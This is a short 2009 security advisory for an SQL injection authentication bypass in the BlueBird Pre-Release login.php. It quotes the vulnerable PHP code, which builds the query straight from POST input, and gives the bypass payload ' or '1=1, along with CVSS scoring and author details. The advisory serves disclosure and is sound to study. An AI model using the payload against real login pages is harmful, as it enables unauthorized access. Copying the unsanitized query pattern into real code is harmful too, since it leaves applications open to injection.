BlueBird Pre-Release (Auth Bypass) SQL Injection Vulnerability

2009.02.28

Credit: x0r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0740

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#########################################################################################
[0x01] Informations:
Name : BlueBird Pre-Release
Download : http://downloads.sourceforge.net/bluebird/bluebird_pre.zip
Vulnerability : Auth Bypass
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/login.php
[Code]
if ( $request == "POST" )
{
$username = $_POST['username'];
$passwd = $_POST['passwd'];
// Call mysql class
$db = new db;
$db->connect();
$sql = "SELECT * FROM bluebird_users WHERE username='$username' &&
password='$passwd' ";
$check_query = $db->query($sql);
$row = mysql_numrows($check_query);
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: ' or '1=1
########################################################################################

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BlueBird Pre-Release (Auth Bypass) SQL Injection Vulnerability

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